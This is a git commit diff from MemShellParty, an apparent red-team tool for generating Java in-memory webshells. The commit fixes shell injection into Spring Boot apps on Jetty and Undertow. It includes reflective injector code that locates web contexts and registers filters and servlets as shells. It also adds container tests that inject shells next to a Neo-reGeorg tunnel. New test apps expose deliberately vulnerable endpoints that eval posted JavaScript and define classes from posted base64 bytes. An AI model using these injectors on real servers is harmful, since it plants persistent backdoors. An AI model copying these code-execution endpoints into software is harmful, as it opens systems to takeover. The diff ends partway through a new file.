mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: SpringBoot Undertow and Jetty Shell inject failed
This commit is contained in:
@@ -51,12 +51,15 @@ idea {
|
||||
}
|
||||
|
||||
test {
|
||||
dependsOn(":vul:vul-webapp:war",
|
||||
dependsOn(
|
||||
":vul:vul-webapp:war",
|
||||
":vul:vul-webapp-expression:war",
|
||||
":vul:vul-webapp-deserialize:war",
|
||||
":vul:vul-webapp-jakarta:war",
|
||||
":vul:vul-springboot1:bootJar",
|
||||
":vul:vul-springboot2:bootJar",
|
||||
":vul:vul-springboot2-jetty:bootJar",
|
||||
":vul:vul-springboot2-undertow:bootJar",
|
||||
":vul:vul-springboot2:bootWar",
|
||||
":vul:vul-springboot2-webflux:bootJar",
|
||||
":vul:vul-springboot3:bootJar",
|
||||
|
||||
@@ -20,6 +20,8 @@ public class ContainerTool {
|
||||
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
|
||||
|
||||
+1
-1
@@ -306,7 +306,7 @@ public class ShellAssertionTool {
|
||||
}
|
||||
case ScriptEngine -> VulTool.postData(url + "/js", content);
|
||||
case EL -> VulTool.postData(url + "/el", content);
|
||||
case SpEL -> VulTool.postData(url + "/spel", content);
|
||||
case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content);
|
||||
case OGNL -> VulTool.postData(url + "/ognl", content);
|
||||
case MVEL -> VulTool.postData(url + "/mvel", content);
|
||||
case JXPath -> VulTool.postData(url + "/jxpath", content);
|
||||
|
||||
+105
@@ -0,0 +1,105 @@
|
||||
package com.reajason.javaweb.integration.springmvc;
|
||||
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class SpringBoot2JettyContainerTest {
|
||||
public static final String imageName = "springboot2-jetty";
|
||||
|
||||
static Network network = Network.newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(springBoot2JettyDockerfile))
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/test"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
static Stream<Arguments> jettyCasesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
// ShellType.LISTENER,
|
||||
ShellType.JETTY_AGENT_HANDLER,
|
||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("jettyCasesProvider")
|
||||
void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
}
|
||||
+105
@@ -0,0 +1,105 @@
|
||||
package com.reajason.javaweb.integration.springmvc;
|
||||
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class SpringBoot2UndertowContainerTest {
|
||||
public static final String imageName = "springboot2-undertow";
|
||||
|
||||
static Network network = Network.newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(springBoot2UndertowDockerfile))
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/test"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.SpringWebMvc;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
static Stream<Arguments> jettyCasesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
// ShellType.LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("jettyCasesProvider")
|
||||
void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
}
|
||||
+25
@@ -44,6 +44,8 @@ public class SpringBoot2WarContainerTest {
|
||||
.withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -52,6 +54,8 @@ public class SpringBoot2WarContainerTest {
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
|
||||
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, // TODO: 这个地方会报奇怪的错误,需要排查
|
||||
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
@@ -68,4 +72,25 @@ public class SpringBoot2WarContainerTest {
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
|
||||
static Stream<Arguments> tomcatCasesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
// ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("tomcatCasesProvider")
|
||||
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+22
@@ -80,4 +80,26 @@ public class SpringBoot3ContainerTest {
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
static Stream<Arguments> tomcatCasesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.Base64);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("tomcatCasesProvider")
|
||||
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
}
|
||||
|
||||
+12
-15
@@ -106,29 +106,26 @@ public class JettyFilterInjector {
|
||||
}
|
||||
}
|
||||
|
||||
private List<Object> getContext() {
|
||||
private List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
// jetty 6
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
||||
Object context = getFieldValue(contextClassLoader, "_context");
|
||||
Object handler = getFieldValue(context, "_servletHandler");
|
||||
contexts.add(getFieldValue(handler, "_contextHandler"));
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
} else {
|
||||
Object threadLocals = getFieldValue(thread, "threadLocals");
|
||||
Object table = getFieldValue(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
// jetty 7+
|
||||
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||
for (int i = 0; i < Array.getLength(table); i++) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFieldValue(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||
Object request = invokeMethod(httpChannel, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
contexts.add(getFieldValue(servletContext, "this$0"));
|
||||
Object threadLocalValue = getFieldValue(entry, "value");
|
||||
if (threadLocalValue != null) {
|
||||
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
|
||||
contexts.add(getFieldValue(threadLocalValue, "this$0"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+12
-15
@@ -43,29 +43,26 @@ public class JettyListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
private List<Object> getContext() {
|
||||
private List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
// jetty 6
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
||||
Object context = getFieldValue(contextClassLoader, "_context");
|
||||
Object handler = getFieldValue(context, "_servletHandler");
|
||||
contexts.add(getFieldValue(handler, "_contextHandler"));
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
} else {
|
||||
Object threadLocals = getFieldValue(thread, "threadLocals");
|
||||
Object table = getFieldValue(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
// jetty 7+
|
||||
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||
for (int i = 0; i < Array.getLength(table); i++) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFieldValue(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||
Object request = invokeMethod(httpChannel, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
contexts.add(getFieldValue(servletContext, "this$0"));
|
||||
Object threadLocalValue = getFieldValue(entry, "value");
|
||||
if (threadLocalValue != null) {
|
||||
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
|
||||
contexts.add(getFieldValue(threadLocalValue, "this$0"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+12
-15
@@ -51,29 +51,26 @@ public class JettyServletInjector {
|
||||
}
|
||||
}
|
||||
|
||||
private List<Object> getContext() {
|
||||
private List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
// jetty 6
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
||||
Object context = getFieldValue(contextClassLoader, "_context");
|
||||
Object handler = getFieldValue(context, "_servletHandler");
|
||||
contexts.add(getFieldValue(handler, "_contextHandler"));
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
} else {
|
||||
Object threadLocals = getFieldValue(thread, "threadLocals");
|
||||
Object table = getFieldValue(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
// jetty 7+
|
||||
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||
for (int i = 0; i < Array.getLength(table); i++) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFieldValue(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||
Object request = invokeMethod(httpChannel, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
contexts.add(getFieldValue(servletContext, "this$0"));
|
||||
Object threadLocalValue = getFieldValue(entry, "value");
|
||||
if (threadLocalValue != null) {
|
||||
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
|
||||
contexts.add(getFieldValue(threadLocalValue, "this$0"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+4
-4
@@ -5,7 +5,6 @@ import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
@@ -47,12 +46,13 @@ public class UndertowFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
public List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null);
|
||||
Class<?> clazz = thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext");
|
||||
Object requestContext = invokeMethod(clazz, "current", null, null);
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
|
||||
if (servletContext != null) {
|
||||
contexts.add(servletContext);
|
||||
@@ -84,7 +84,7 @@ public class UndertowFilterInjector {
|
||||
if (isInjected(context)) {
|
||||
return;
|
||||
}
|
||||
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo", true, context.getClass().getClassLoader());
|
||||
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
|
||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
|
||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
|
||||
+1
-1
@@ -85,7 +85,7 @@ public class UndertowServletInjector {
|
||||
return;
|
||||
}
|
||||
|
||||
Class<?> servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo");
|
||||
Class<?> servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo", true, context.getClass().getClassLoader());
|
||||
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
|
||||
Object servletInfo = servletInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), servlet.getClass());
|
||||
invokeMethod(servletInfo, "addMapping", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
|
||||
@@ -28,6 +28,8 @@ include 'vul:vul-webapp-expression'
|
||||
include 'vul:vul-webapp-deserialize'
|
||||
include 'vul:vul-springboot1'
|
||||
include 'vul:vul-springboot2'
|
||||
include 'vul:vul-springboot2-jetty'
|
||||
include 'vul:vul-springboot2-undertow'
|
||||
include 'vul:vul-springboot3'
|
||||
include 'vul:vul-springboot2-webflux'
|
||||
include 'vul:vul-springboot3-webflux'
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
FROM openjdk:8
|
||||
WORKDIR /app
|
||||
|
||||
COPY build/libs/*.jar /app/app.jar
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||
@@ -0,0 +1,28 @@
|
||||
plugins {
|
||||
id 'org.springframework.boot' version '2.7.6'
|
||||
id 'io.spring.dependency-management' version '1.0.15.RELEASE'
|
||||
id 'java'
|
||||
id 'war'
|
||||
}
|
||||
|
||||
java {
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||
exclude module: "spring-boot-starter-tomcat"
|
||||
}
|
||||
implementation 'commons-io:commons-io:2.+'
|
||||
implementation 'net.bytebuddy:byte-buddy:1.10.10'
|
||||
implementation 'org.springframework.boot:spring-boot-starter-jetty'
|
||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
package com.reajason.javaweb.vul.springboot2;
|
||||
|
||||
import org.springframework.boot.builder.SpringApplicationBuilder;
|
||||
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
|
||||
|
||||
public class ServletInitializer extends SpringBootServletInitializer {
|
||||
|
||||
@Override
|
||||
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
|
||||
return application.sources(VulSpringboot2Application.class);
|
||||
}
|
||||
|
||||
}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
package com.reajason.javaweb.vul.springboot2;
|
||||
|
||||
import com.fasterxml.jackson.annotation.JsonAutoDetect;
|
||||
import com.fasterxml.jackson.annotation.PropertyAccessor;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
|
||||
@SpringBootApplication
|
||||
public class VulSpringboot2Application {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(VulSpringboot2Application.class, args);
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/b64")
|
||||
public class Base64ClassLoaderController extends ClassLoader {
|
||||
@PostMapping
|
||||
public String base64ClassLoader(String data) throws Exception {
|
||||
byte[] bytes = Base64.getDecoder().decode(data);
|
||||
Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
return o.toString();
|
||||
}
|
||||
}
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
public class IndexController {
|
||||
|
||||
@RequestMapping("/test")
|
||||
public String test() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@GetMapping("/")
|
||||
public String index() {
|
||||
return "hello";
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.script.ScriptEngineManager;
|
||||
import javax.script.ScriptException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/js")
|
||||
public class ScriptEngineController {
|
||||
|
||||
@PostMapping
|
||||
public ResponseEntity<?> js(String data) throws ScriptException {
|
||||
return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.vul.springboot2.controller;
|
||||
|
||||
